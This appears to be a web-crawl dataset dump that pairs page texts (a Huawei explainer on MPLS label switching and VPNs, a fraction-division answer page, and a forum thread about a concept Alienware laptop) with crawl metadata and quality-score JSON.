"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-3,406,418,156,366,295,600 | Home Search Center Encyclopedia Online Courses Online Support
What Is MPLS?
Proposed by the Internet Engineering Task Force (IETF), MPLS is a protocol that uses labels to guide forwarding of data packets at a high speed over the IP backbone network. MPLS is a more efficient alternative to traditional IP routing and works by mapping an IP address to a short and fixed-length label of local significance, replacing IP table lookups with label swapping. In addition, MPLS labels can be used to establish a logical tunnel on the IP network. MPLS is compatible with different network-layer and link-layer protocols. Therefore, it can provide public network tunnels for various L2VPN, L3VPN, and EVPN services.
Why Do We Need MPLS?
In the mid-1990s, the volume of data transmitted across the Internet increased sharply with the rapid development of IP networks. Due to hardware limitations back then, IP technologies, using the longest match rule, had to use software for route lookups, resulting in low forwarding performance. This also restricted the development of IP networks. Against this backdrop, the IETF proposed the MPLS protocol to improve the forwarding performance of routing devices on IP networks.
Comparison between IP routing and MPLS forwarding
Comparison between IP routing and MPLS forwarding
Compared with traditional IP routing, MPLS improves forwarding performance in the following ways:
• It replaces time-consuming IP routing table lookups with simple label swapping, significantly reducing the time needed to guide packet forwarding.
• After a packet enters an MPLS domain, only the ingress and egress at the edge of the MPLS domain need to parse the IP packet header and encapsulate or decapsulate labels. The transit nodes only need to swap labels, further speeding up packet forwarding.
MPLS stopped providing notable improvements in forwarding performance of IP networks as application-specific integrated circuit (ASIC) technology developed and hardware took over as a fast way to process IP routing table lookups.
Nevertheless, MPLS found another purpose as its label-based forwarding is essentially a tunneling technology that can encapsulate multi-layer labels. In addition, MPLS works well with multiple network-layer and link-layer protocols, making it suitable for establishing public network tunnels in various VPN services. Finally, because MPLS packet forwarding depends on fixed label swapping paths, MPLS is a connection-oriented forwarding technology. This has resulted in its wide application across areas such as traffic engineering (TE) and QoS.
What Are the Characteristics of MPLS?
What Basic Concepts Are Involved in MPLS?
To understand what MPLS is, you need to first understand the concepts behind it. The following describes several core concepts.
FEC
MPLS is a class-based forwarding technology. It classifies data packets that may be forwarded the same way into one class, called forwarding equivalence class (FEC). MPLS processes data packets with the same FEC in the same way.
Packets can be classified into FECs based on any combination of the following elements: source address, destination address, source port, destination port, protocol type, service type, and so on. For example, all packets destined for the same destination address in IP routing using the longest match rule would be classified into the same FEC.
MPLS label
An MPLS label is a short, fixed-length identifier that has only local significance. It uniquely identifies the FEC to which a packet belongs. In some cases (for example, when load balancing is required), one FEC may be mapped to multiple MPLS labels. However, one label can represent only one FEC on one device.
An MPLS label has 4 bytes. The following figure shows how it is encapsulated.
Encapsulation structure of an MPLS label
Encapsulation structure of an MPLS label
An MPLS label has the following four fields:
• Label: a 20-bit field that identifies a label value.
• Exp: a 3-bit field used for extensions. Currently, this field is usually used for class of service (CoS).
• BoS: a 1-bit field that identifies the bottom of a label stack. MPLS supports multiple labels, that is, label nesting. If the BoS field of a label is set to 1, the label is at the bottom of the label stack.
• TTL: an 8-bit field indicating a time to live (TTL) value. This field is the same as the TTL field in IP packets.
An MPLS label is encapsulated between the link layer and network layer. The following figure shows where an MPLS label is encapsulated in a packet. MPLS labels are supported by all link-layer protocols.
Encapsulation position of an MPLS label
Encapsulation position of an MPLS label
An MPLS label stack is also called an MPLS multi-layer label. It contains an ordered set of MPLS labels, as shown in the following figure. The label close to the Layer 2 header is known as the label "on top of the stack" or the outer label; the label close to the IP header is known as the label "at the bottom of the stack" or the inner label. The labels are processed from the top of the label stack in a last in first out manner.
MPLS label stack
MPLS label stack
Label operations
The basic operations on MPLS labels include label push, label swap, and label pop. They are basic actions of label forwarding and a part of the label forwarding information base (LFIB).
Basic label operations
Basic label operations
The basic operations on MPLS labels are as follows:
• Push: When an IP packet enters an MPLS domain, the ingress adds a label between the Layer 2 header and the IP header of the packet. When the packet reaches a transit node, the transit node can also add a label to the top of the label stack (label nesting) as needed.
• Swap: When the packet is forwarded inside the MPLS domain, a transit node searches the LFIB and replaces the label on top of the stack in the MPLS packet with the label that is assigned by the next hop.
• Pop: When the packet leaves the MPLS domain, the egress removes the MPLS label; or the MPLS node at the penultimate hop removes the label on top of the stack to reduce the number of labels in the label stack.
Because MPLS labels are useless for the egress, you can configure penultimate hop popping (PHP) on the egress to allow the node at the penultimate hop to pop the label out of an MPLS packet so that the egress can directly forward the packet over IP or based on the inner label, thereby reducing the processing load on the egress.
PHP is implemented by allocating a special label value 3. A label with value 3 indicates an implicit-null label that never appears in a label stack. When the node at the penultimate hop finds that it is allocated with label value 3, it does not replace the label on top of the stack with this label. Instead, it pops the label so that the egress directly forwards the packet over IP or based on the inner label.
LSP
A label switched path (LSP) is a path along which packets that belong to the same FEC (that is, packets encapsulated with MPLS labels) are forwarded in an MPLS domain, as shown in the following figure.
LSP networking
LSP networking
An LSP is a unidirectional channel from the ingress to the egress. An LSP has the following roles:
• Ingress: the start node of an LSP. An LSP has only one ingress. The ingress pushes an MPLS label into an IP packet and encapsulates the packet into an MPLS packet.
• Transit node: an intermediate node on an LSP. An LSP may have any number of transit nodes, including zero. A transit node searches the LFIB and forwards MPLS packets through label swapping.
• Egress: the last node of an LSP. An LSP has only one egress. The egress pops the label out of an MPLS packet and restores the original packet before forwarding it.
How Is an MPLS Network Structured?
The following figure shows the typical structure of an MPLS network.
MPLS network structure
MPLS network structure
An MPLS network consists of the following elements:
• Label switching router (LSR): an MPLS-capable network device, which is fundamental to an MPLS network. A series of continuous LSRs constitutes an MPLS domain.
• Core LSR: resides in an MPLS domain and connects only to LSRs inside the domain.
• Label edge router (LER): resides on the edge of an MPLS domain and connects to one or more MPLS-incapable nodes.
On an MPLS network, an LSP can be set up between any two LERs to forward packets that enter an MPLS domain and can pass through one or more core LSRs. Therefore, the ingress and egress of an LSP are LERs, and transit nodes are core LSRs.
What Are the Benefits of MPLS?
MPLS is widely used on IP networks and provides the following benefits:
• MPLS is completely compatible with and is an improvement upon the IP network, making it easy to promote for its low construction costs.
• The control and forwarding planes of MPLS are separated. On the control plane, LSPs are set up based on IP routes. MPLS can borrow the flexibility and reliability mechanisms of IP routes where needed. On the connection-oriented forwarding plane, packets are transmitted over LSPs. In addition, MPLS can effectively implement TE and QoS.
• MPLS is independent of link-layer protocols. It supports protocols such as frame relay, ATM, PPP, and SDH, ensuring interworking of multiple types of networks and providing good compatibility.
• An MPLS network supports a hierarchical topology and is suitable for deployment on the IP backbone network.
• Theoretically, the MPLS label stack supports unlimited label nesting, which meets the requirements of VPN services for multi-layer encapsulation of public and private network labels. Therefore, MPLS provides strong support for the development of VPN services.
How Does MPLS Work?
Simply speaking, MPLS must correctly forward packets that enter an MPLS domain to their destination. This process is divided into two parts: LSP establishment and packet forwarding along the LSP.
How Does MPLS Establish LSPs?
MPLS is a technology that uses labels to guide packet forwarding. Therefore, the establishment of an LSP is a process in which LSRs along the LSP determine the labels for a specific FEC.
MPLS labels are assigned and distributed by a downstream LSR to an upstream LSR. As shown in the following figure, the downstream LSR classifies FECs based on the destination addresses of IP routes and allocates labels to the FECs corresponding to specified destination addresses. Then, the downstream LSR sends the labels to the upstream LSR, triggering the upstream LSR to establish an LFIB. Eventually, the series of LSRs form an LSP.
Process of establishing an LSP
Process of establishing an LSP
LSPs can be classified into static LSPs and dynamic LSPs based on how they are established:
• Static LSPs are established by manually assigning labels to FECs. When manually assigning labels, the outgoing label value of the upstream LSR must be the same as the incoming label value of the downstream LSR.
• A dynamic LSP is set up when an LSR uses a label distribution protocol to dynamically generate and distribute labels. A downstream LSR uses IP routes to send labels to an upstream LSR. MPLS supports multiple label distribution protocols, such as the Label Distribution Protocol (LDP), Resource Reservation Protocol-Traffic Engineering (RSVP-TE), and Multiprotocol Extensions for Border Gateway Protocol (MP-BGP).
How Are Packets Forwarded Along LSPs?
Take a PHP-capable LSP as an example. MPLS packets are forwarded along the LSP as follows:
1. After receiving an IP packet destined for 192.168.1.1/24, the ingress pushes label Y into the packet, encapsulates the packet into an MPLS one, and forwards it.
2. Upon receipt, the first transit node swaps label Y with label X.
3. The transit node at the penultimate hop receives the MPLS packet and pops label X because the label value assigned by the egress is 3. The transit node then forwards the IP packet to the egress.
4. After receiving the IP packet, the egress forwards it to the destination address 192.168.1.1/24.
Packet forwarding through an LSP
Packet forwarding through an LSP
What Is an MPLS VPN?
MPLS VPN is a technology that uses MPLS to construct VPNs on an IP backbone network. The essence of VPN is to transmit service data across a public network as if it was on a private network. This requires a tunnel to be set up on the public network so that data packets can be transmitted directly to the destination through the tunnel. Generally, MPLS VPN uses LSPs established using MPLS as public network tunnels to transmit private network service data.
The basic MPLS VPN model consists of the following roles:
• Customer edge (CE): an edge device on a user network. A CE is directly connected to a service provider (SP) network through interfaces. The VPN sites of users are connected to the SP network through the CE. A CE can be a network device or a host. Generally, CEs are unaware of VPNs and do not need to support MPLS.
• Provider edge (PE): an edge device on an SP network. A PE is directly connected to a CE. On an MPLS network, PEs function as LSRs and process all MPLS and VPN services. This places high requirements on the performance of PEs.
• Provider (P): a backbone device on an SP network. A P is not directly connected to a CE. On an MPLS network, a P functions as an LSR and only needs to process MPLS services. It does not need to maintain VPN information.
Basic MPLS VPN model
Basic MPLS VPN model
MPLS VPN fully leverages the technical advantages of MPLS and is the most widely used VPN technology. MPLS VPN offers the following benefits to users:
• An MPLS label corresponds to the data flow of a specified service (specific FEC), which helps to isolate services of different users.
• MPLS provides TE and QoS capabilities. Users can use MPLS to fully optimize VPN resource configuration.
• In addition, MPLS VPN provides flexible policy control to meet the special requirements of different users and implement value-added services quickly.
About This Topic
• Author： Guo Fenghai
• Updated on： 2021-09-30
• Views： 2807
• Average rating： | {
"url": "https://info.support.huawei.com/info-finder/encyclopedia/en/MPLS.html",
"source_domain": "info.support.huawei.com",
"snapshot_id": "crawl=CC-MAIN-2022-21",
"warc_metadata": {
"Content-Length": "77335",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:BWYJDCCKNNGUNX2F4563OA7M3ONTA73Y",
"WARC-Concurrent-To": "<urn:uuid:eca2501b-fd6d-49c6-b451-6902e9695900>",
"WARC-Date": "2022-05-21T22:08:14Z",
"WARC-IP-Address": "121.37.49.92",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:KGJ4RMTGBMHFS5PQOHFDH5GBVORB4WMK",
"WARC-Record-ID": "<urn:uuid:f8b29849-23a3-496f-ae11-505d8c44f1f5>",
"WARC-Target-URI": "https://info.support.huawei.com/info-finder/encyclopedia/en/MPLS.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:5109d1b4-e524-421e-afe1-2cd17d7dc71e>"
},
"warc_info": "isPartOf: CC-MAIN-2022-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-116\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
62,
63,
77,
78,
709,
710,
731,
732,
1213,
1214,
1264,
1314,
1315,
1413,
1414,
1565,
1823,
1824,
2053,
2054,
2600,
2601,
2639,
2640,
2682,
2683,
2811,
2812,
2816,
2817,
3046,
3047,
3392,
3393,
3404,
3405,
3717,
3718,
3796,
3797,
3838,
3879,
3880,
3925,
3926,
3983,
3984,
4094,
4095,
4306,
4307,
4425,
4426,
4629,
4630,
4670,
4710,
4711,
5144,
5145,
5162,
5179,
5180,
5197,
5198,
5384,
5385,
5408,
5431,
5432,
5484,
5485,
5756,
5757,
5964,
5965,
6178,
6179,
6509,
6510,
6922,
6923,
6927,
6928,
7130,
7131,
7146,
7161,
7162,
7261,
7262,
7430,
7431,
7625,
7626,
7794,
7795,
7830,
7831,
7900,
7901,
7924,
7947,
7948,
8000,
8001,
8164,
8249,
8366,
8367,
8605,
8606,
8637,
8638,
8710,
8711,
8851,
9192,
9389,
9501,
9765,
9766,
9786,
9787,
9983,
9984,
10014,
10015,
10202,
10203,
10641,
10642,
10673,
10704,
10705,
10797,
10798,
11013,
11430,
11431,
11469,
11470,
11561,
11562,
11728,
11729,
11799,
11800,
12000,
12001,
12103,
12104,
12137,
12170,
12171,
12192,
12193,
12651,
12652,
12710,
12711,
13030,
13031,
13261,
13262,
13486,
13487,
13508,
13529,
13530,
13681,
13682,
13820,
13928,
14083,
14100,
14124,
14151,
14167
],
"line_end_idx": [
62,
63,
77,
78,
709,
710,
731,
732,
1213,
1214,
1264,
1314,
1315,
1413,
1414,
1565,
1823,
1824,
2053,
2054,
2600,
2601,
2639,
2640,
2682,
2683,
2811,
2812,
2816,
2817,
3046,
3047,
3392,
3393,
3404,
3405,
3717,
3718,
3796,
3797,
3838,
3879,
3880,
3925,
3926,
3983,
3984,
4094,
4095,
4306,
4307,
4425,
4426,
4629,
4630,
4670,
4710,
4711,
5144,
5145,
5162,
5179,
5180,
5197,
5198,
5384,
5385,
5408,
5431,
5432,
5484,
5485,
5756,
5757,
5964,
5965,
6178,
6179,
6509,
6510,
6922,
6923,
6927,
6928,
7130,
7131,
7146,
7161,
7162,
7261,
7262,
7430,
7431,
7625,
7626,
7794,
7795,
7830,
7831,
7900,
7901,
7924,
7947,
7948,
8000,
8001,
8164,
8249,
8366,
8367,
8605,
8606,
8637,
8638,
8710,
8711,
8851,
9192,
9389,
9501,
9765,
9766,
9786,
9787,
9983,
9984,
10014,
10015,
10202,
10203,
10641,
10642,
10673,
10704,
10705,
10797,
10798,
11013,
11430,
11431,
11469,
11470,
11561,
11562,
11728,
11729,
11799,
11800,
12000,
12001,
12103,
12104,
12137,
12170,
12171,
12192,
12193,
12651,
12652,
12710,
12711,
13030,
13031,
13261,
13262,
13486,
13487,
13508,
13529,
13530,
13681,
13682,
13820,
13928,
14083,
14100,
14124,
14151,
14167,
14186
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 14186,
"ccnet_original_nlines": 179,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3369644284248352,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0976761132478714,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.14451706409454346,
"rps_doc_frac_unique_words": 0.2287636697292328,
"rps_doc_mean_word_length": 4.757779598236084,
"rps_doc_num_sentences": 147,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.215786933898926,
"rps_doc_word_count": 2378,
"rps_doc_frac_chars_dupe_10grams": 0.006540569942444563,
"rps_doc_frac_chars_dupe_5grams": 0.1484885960817337,
"rps_doc_frac_chars_dupe_6grams": 0.10482587665319443,
"rps_doc_frac_chars_dupe_7grams": 0.07185787707567215,
"rps_doc_frac_chars_dupe_8grams": 0.025631960481405258,
"rps_doc_frac_chars_dupe_9grams": 0.01767721027135849,
"rps_doc_frac_chars_top_2gram": 0.018030760809779167,
"rps_doc_frac_chars_top_3gram": 0.011666960082948208,
"rps_doc_frac_chars_top_4gram": 0.004596080165356398,
"rps_doc_books_importance": -1243.828125,
"rps_doc_books_importance_length_correction": -1243.828125,
"rps_doc_openwebtext_importance": -797.6719360351562,
"rps_doc_openwebtext_importance_length_correction": -797.6719360351562,
"rps_doc_wikipedia_importance": -618.8079223632812,
"rps_doc_wikipedia_importance_length_correction": -618.8079223632812
},
"fasttext": {
"dclm": 0.23411983251571655,
"english": 0.8986372947692871,
"fineweb_edu_approx": 2.886937141418457,
"eai_general_math": 0.8363195061683655,
"eai_open_web_math": 0.4560340642929077,
"eai_web_code": 0.727247416973114
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.66",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
6,442,566,999,200,098,000 | Answers
Solutions by everydaycalculation.com
Answers.everydaycalculation.com » Divide fractions
Divide 90/70 with 35/81
1st number: 1 20/70, 2nd number: 35/81
90/70 ÷ 35/81 is 729/245.
Steps for dividing fractions
1. Find the reciprocal of the divisor
Reciprocal of 35/81: 81/35
2. Now, multiply it with the dividend
So, 90/70 ÷ 35/81 = 90/70 × 81/35
3. = 90 × 81/70 × 35 = 7290/2450
4. After reducing the fraction, the answer is 729/245
5. In mixed form: 2239/245
MathStep (Works offline)
Download our mobile app and learn to work with fractions in your own time:
Android and iPhone/ iPad
Related:
© everydaycalculation.com | {
"url": "https://answers.everydaycalculation.com/divide-fractions/90-70-divided-by-35-81",
"source_domain": "answers.everydaycalculation.com",
"snapshot_id": "CC-MAIN-2024-22",
"warc_metadata": {
"Content-Length": "6759",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:Y4EU7NK27QS5ZNQTZ2OOPM55A6SRVNQI",
"WARC-Concurrent-To": "<urn:uuid:6813249e-d109-49e3-84fa-5a11d11a4ad8>",
"WARC-Date": "2024-05-29T12:53:35Z",
"WARC-IP-Address": "96.126.107.130",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:AEGMXOZUQTSDOFVGZEY4RFVAA5TP65DH",
"WARC-Record-ID": "<urn:uuid:39866461-b9e3-49f9-a55c-4cd42c937db1>",
"WARC-Target-URI": "https://answers.everydaycalculation.com/divide-fractions/90-70-divided-by-35-81",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:47f06ca2-8871-4260-b290-82c0d2f90309>"
},
"warc_info": "isPartOf: CC-MAIN-2024-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-211\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
8,
9,
46,
47,
98,
99,
123,
124,
163,
164,
190,
191,
220,
221,
261,
292,
332,
370,
405,
461,
490,
491,
516,
517,
592,
617,
618,
627,
628
],
"line_end_idx": [
8,
9,
46,
47,
98,
99,
123,
124,
163,
164,
190,
191,
220,
221,
261,
292,
332,
370,
405,
461,
490,
491,
516,
517,
592,
617,
618,
627,
628,
653
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 653,
"ccnet_original_nlines": 29,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.15432098507881165,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.5679012537002563,
"rps_doc_frac_unique_words": 0.704081654548645,
"rps_doc_mean_word_length": 4.908163070678711,
"rps_doc_num_sentences": 11,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.093512535095215,
"rps_doc_word_count": 98,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.033264029771089554,
"rps_doc_frac_chars_top_3gram": 0.03742203861474991,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -89.24578857421875,
"rps_doc_books_importance_length_correction": -98.42523193359375,
"rps_doc_openwebtext_importance": -53.807193756103516,
"rps_doc_openwebtext_importance_length_correction": -62.98663330078125,
"rps_doc_wikipedia_importance": -37.29193115234375,
"rps_doc_wikipedia_importance_length_correction": -46.47137451171875
},
"fasttext": {
"dclm": 0.9853242635726929,
"english": 0.7957859635353088,
"fineweb_edu_approx": 2.3204617500305176,
"eai_general_math": 0.031201360747218132,
"eai_open_web_math": 0.17164885997772217,
"eai_web_code": 0.000007029999778751517
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "513.2",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Geometry"
}
},
"secondary": {
"code": "-1",
"labels": {
"level_1": "",
"level_2": "",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-2,725,080,716,887,519,000 | The Alienware Laptop of the Future!
Discussion in 'Side Topics' started by Tristan, Apr 4, 2010.
Thread Status:
Not open for further replies.
1. Tristan
Tristan ΦΔΘ
Reputations:
800
Messages:
1,219
Likes Received:
17
Trophy Points:
56
2. Joebarchuck
Joebarchuck Notebook Virtuoso
Reputations:
881
Messages:
2,246
Likes Received:
0
Trophy Points:
55
It's an interesting concept and I am sure it will happen at some point. The only issue with the video clip is the power supply. Anyone can imagine that the future of power supply will be infinite and certainly not from a power outlet...
3. CokeCanNinja
CokeCanNinja Notebook Consultant
Reputations:
18
Messages:
285
Likes Received:
0
Trophy Points:
30
It should have wireless power. Would this be able to play Crysis 10 on max settings?
4. Megacharge
Megacharge Custom User Title
Reputations:
2,223
Messages:
2,402
Likes Received:
4
Trophy Points:
56
Yeah Intel's Nikola Tesla inspired "wireless electricity" adapters might be available by the time we see laptops like this. Interesting laptop concept. Hopefully by then GPU's will be small enough, powerful enough and cool enough to fit in a laptop like that and be able to run the Crysis of that day on all max settings.
5. CokeCanNinja
CokeCanNinja Notebook Consultant
Reputations:
18
Messages:
285
Likes Received:
0
Trophy Points:
30
It better be, that thing looks 'spensive.
6. ittekimasu
ittekimasu Notebook Consultant
Reputations:
2
Messages:
113
Likes Received:
0
Trophy Points:
30
Neat concept, I just imagine that laptops of the future will maintain the book look possibly just becomming more thinner and possibly including two screens with one acting as a keyboard when needed... kinda like an ipad.. ugh
7. Partizan
Partizan Notebook Deity
Reputations:
241
Messages:
1,696
Likes Received:
0
Trophy Points:
55
I prefer walking over the street with a backpack or a postmanbag (don't know how to translate it to english soz) rather than carrying something that reminds me of a purse (its too round, while I prefer square things).
Aside from that the multiple functions which the video showed seem very promising. But i'm glad I'll still be able to buy normal laptops for now, which become thinner and more powerfull and get better and better battery life, which is all I ask for.
8. Tristan
Tristan ΦΔΘ
Reputations:
800
Messages:
1,219
Likes Received:
17
Trophy Points:
56
They make purses that thin and tubelike?:confused:
The biggest selling point of a laptop like this would be the portability i think. If it was nice and light it would appeal to artists who use computer programs a lot. Save them the cost of materials and the hassle of transporting canvas and media, and replaces them with a nice tablet screen. I'd get one of these for sure, though not for gaming; 1. I don't think gpus are supposed to bend like that 2. it doesnt look intimidating enough to bring to a gaming conference:D
9. CokeCanNinja
CokeCanNinja Notebook Consultant
Reputations:
18
Messages:
285
Likes Received:
0
Trophy Points:
30
Yes, I think computers will start to look more and more like the *shudder* Itampon.
10. Aikimox
Aikimox Weihenstephaner!
Reputations:
5,946
Messages:
10,128
Likes Received:
49
Trophy Points:
466
Do you really think human race will survive that long? ;)
Loading...
Thread Status:
Not open for further replies.
Share This Page | {
"url": "http://forum.notebookreview.com/threads/the-alienware-laptop-of-the-future.473237/",
"source_domain": "forum.notebookreview.com",
"snapshot_id": "crawl=CC-MAIN-2017-09",
"warc_metadata": {
"Content-Length": "87101",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:QIRVMFABWQT4TLJITF3ZBTM4DDIIY2TN",
"WARC-Concurrent-To": "<urn:uuid:88bc5e9a-6991-45d6-aa12-9e5bbe12ca40>",
"WARC-Date": "2017-02-22T01:34:27Z",
"WARC-IP-Address": "206.19.49.62",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:6JO37LJQ6NUGU63DVYPXDZOQRLMUHX6P",
"WARC-Record-ID": "<urn:uuid:24283c63-c06a-419b-bbdd-5419a3b9c4b1>",
"WARC-Target-URI": "http://forum.notebookreview.com/threads/the-alienware-laptop-of-the-future.473237/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:3302f932-259c-4ab1-a5bc-7953b3803d42>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-10-108.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-09\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for February 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
36,
37,
98,
99,
114,
144,
157,
158,
174,
175,
192,
200,
214,
224,
244,
251,
270,
277,
294,
295,
329,
330,
347,
355,
369,
379,
399,
405,
424,
431,
672,
678,
696,
697,
734,
735,
752,
759,
773,
781,
801,
807,
826,
833,
922,
928,
944,
945,
978,
979,
996,
1006,
1020,
1030,
1050,
1056,
1075,
1082,
1408,
1414,
1432,
1433,
1470,
1471,
1488,
1495,
1509,
1517,
1537,
1543,
1562,
1569,
1615,
1621,
1637,
1638,
1673,
1674,
1691,
1697,
1711,
1719,
1739,
1745,
1764,
1771,
2001,
2007,
2021,
2022,
2050,
2051,
2068,
2076,
2090,
2100,
2120,
2126,
2145,
2152,
2374,
2375,
2629,
2635,
2648,
2649,
2665,
2666,
2683,
2691,
2705,
2715,
2735,
2742,
2761,
2768,
2823,
2824,
2825,
3301,
3307,
3325,
3326,
3363,
3364,
3381,
3388,
3402,
3410,
3430,
3436,
3455,
3462,
3550,
3556,
3570,
3571,
3600,
3601,
3618,
3628,
3642,
3653,
3673,
3680,
3699,
3707,
3769,
3775,
3786,
3801,
3831,
3832
],
"line_end_idx": [
36,
37,
98,
99,
114,
144,
157,
158,
174,
175,
192,
200,
214,
224,
244,
251,
270,
277,
294,
295,
329,
330,
347,
355,
369,
379,
399,
405,
424,
431,
672,
678,
696,
697,
734,
735,
752,
759,
773,
781,
801,
807,
826,
833,
922,
928,
944,
945,
978,
979,
996,
1006,
1020,
1030,
1050,
1056,
1075,
1082,
1408,
1414,
1432,
1433,
1470,
1471,
1488,
1495,
1509,
1517,
1537,
1543,
1562,
1569,
1615,
1621,
1637,
1638,
1673,
1674,
1691,
1697,
1711,
1719,
1739,
1745,
1764,
1771,
2001,
2007,
2021,
2022,
2050,
2051,
2068,
2076,
2090,
2100,
2120,
2126,
2145,
2152,
2374,
2375,
2629,
2635,
2648,
2649,
2665,
2666,
2683,
2691,
2705,
2715,
2735,
2742,
2761,
2768,
2823,
2824,
2825,
3301,
3307,
3325,
3326,
3363,
